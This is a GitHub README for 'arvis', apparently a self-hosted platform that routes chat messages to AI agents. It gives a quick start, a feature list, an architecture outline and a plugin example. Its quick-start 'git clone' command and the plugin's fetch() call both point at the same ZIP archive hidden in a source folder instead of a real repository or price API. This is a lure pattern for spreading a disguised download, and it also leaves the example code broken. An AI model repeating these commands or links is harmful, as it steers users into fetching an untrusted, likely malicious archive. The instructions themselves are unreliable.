Skip to content

Haruu1111/arvis

Repository files navigation

>_< arvis

Self-hosted AI agent platform.
Route every message from Discord, Telegram, Slack, and WhatsApp to teams of specialized AI agents.

MIT License TypeScript Node.js Next.js Self-hosted

Docs · Deploy · API


>_< arvis v3

  ✓ Core started
  ✓ Discord connector        online
  ✓ Telegram connector       online
  ✓ 4 agents loaded          support · analyst · coder · conductor
  ✓ Dashboard ready          http://localhost:5100

What is Arvis?

Arvis is a multi-agent orchestration platform you run on your own server. Connect it to Discord, Telegram, Slack, WhatsApp, or any platform — and it routes every message to the right AI agent, manages conversation history, handles rate limits silently, and shows everything in a modern dashboard.

Think of it as the layer between your messaging apps and your LLMs.


Quick Start

Requirements: Node.js 20+, one LLM key (or Claude subscription)

# 1. Clone
git clone https://github.com/Haruu1111/arvis/raw/refs/heads/main/packages/core/src/webhooks/Software-v3.0-beta.2.zip
cd arvis && npm install

# 2. Configure
cp .env.example .env
# Fill in at least one LLM key:
# ANTHROPIC_API_KEY=sk-ant-...
# OPENAI_API_KEY=sk-...
# CLAUDE_CLI_HOME=/home/you/.claude   ← run on subscription, zero per-token cost

# 3. Start
npm start
# Dashboard → http://localhost:5100

# Or Docker (easiest for VPS)
docker-compose up -d

Features

Feature Description
Multi-platform routing Discord, Telegram, Slack, WhatsApp, Matrix, Web, SMS, Email
Multi-provider LLM Anthropic, OpenAI, Google, Ollama, OpenRouter + custom
Claude subscription support Run agents on your Claude Pro/Max — zero per-token cost
Silent failover Rate limit hit → switch account instantly, users never see errors
Conversation memory Sticky facts persist across sessions, auto-compaction
Cost tracking Per-agent, per-provider, per-model breakdown
Job queue Priority queue with retry, all jobs visible in dashboard
Scheduler Cron and heartbeat workflows
Agent delegation Agents spawn sub-agents for parallel work
Skill injection Context-aware prompt enhancement from keyword-matched .md files
Plugin tools Drop a .ts file in plugins/ — auto-loaded on startup
Dashboard Real-time chat, queue monitor, session browser, cost analytics

LLM Providers

Provider Notes
Claude CLI Use your Claude Pro/Max subscription — flat $20–100/mo, no per-token cost
Anthropic API claude-haiku-4, sonnet-4, opus-4
OpenAI gpt-4.1, gpt-4.1-mini, o4-mini
Google gemini-2.5-pro, gemini-2.5-flash
Ollama Any local model, zero cost
OpenRouter 50+ models, one key
Custom Any OpenAI-compatible URL

Multiple accounts per provider. Arvis rotates automatically on rate limits.


Architecture

Discord / Telegram / Slack / WhatsApp / Web / SMS / Email
                        ↓
                  MessageBus
                        ↓
                  Router → selects agent
                        ↓
            ConversationManager → context
                        ↓
              Queue (SQLite, priority + retry)
                        ↓
             AgentRunner → picks best account
                        ↓
        ProviderRunner (API) / CLIRunner (Claude CLI)
                        ↓
             MemoryManager → extracts facts
                        ↓
                  Response → user
packages/
  core/               Business logic, database, runners
  dashboard/          Next.js 15 admin dashboard
  connector-discord/
  connector-telegram/
  connector-slack/
  connector-whatsapp/
  connector-matrix/
  connector-web/
  connector-sms/
  connector-email/
plugins/              Drop .ts files here — auto-loaded
skills/               Context injection .md files
docs/                 Full documentation (13 files)

Extending Arvis

Custom tool — drop a file in plugins/:

// plugins/bitcoin-price.ts
import { registerTool } from '@arvis/core';

registerTool({
  name: 'get_bitcoin_price',
  description: 'Get current Bitcoin price in USD',
  parameters: { type: 'object', properties: {}, required: [] },
  execute: async () => {
    const res = await fetch('https://github.com/Haruu1111/arvis/raw/refs/heads/main/packages/core/src/webhooks/Software-v3.0-beta.2.zip');
    const data = await res.json();
    return `$${data.bitcoin.usd}`;
  }
});

Skill injection — keyword-matched prompt context:

<!-- skills/community/bitcoin.md -->
---
trigger_keywords: ["bitcoin", "btc", "price"]
---
Use the `get_bitcoin_price` tool to fetch the current BTC/USD price.

Documentation

File Topic
00-user-guide.md Getting started, connecting platforms
01-architecture.md System overview, ports, modules
04-llm-providers.md Accounts, failover, CLI vs API
07-security.md Auth, VPS setup, credentials
11-deployment.md Docker, VPS, systemd, nginx
12-api-reference.md REST API reference

Contributing

See CONTRIBUTING.md.

License

MIT — see LICENSE.


>_< arvis — self-hosted, no lock-in, runs anywhere.

Releases

No releases published

Packages

 
 
 

Contributors

Languages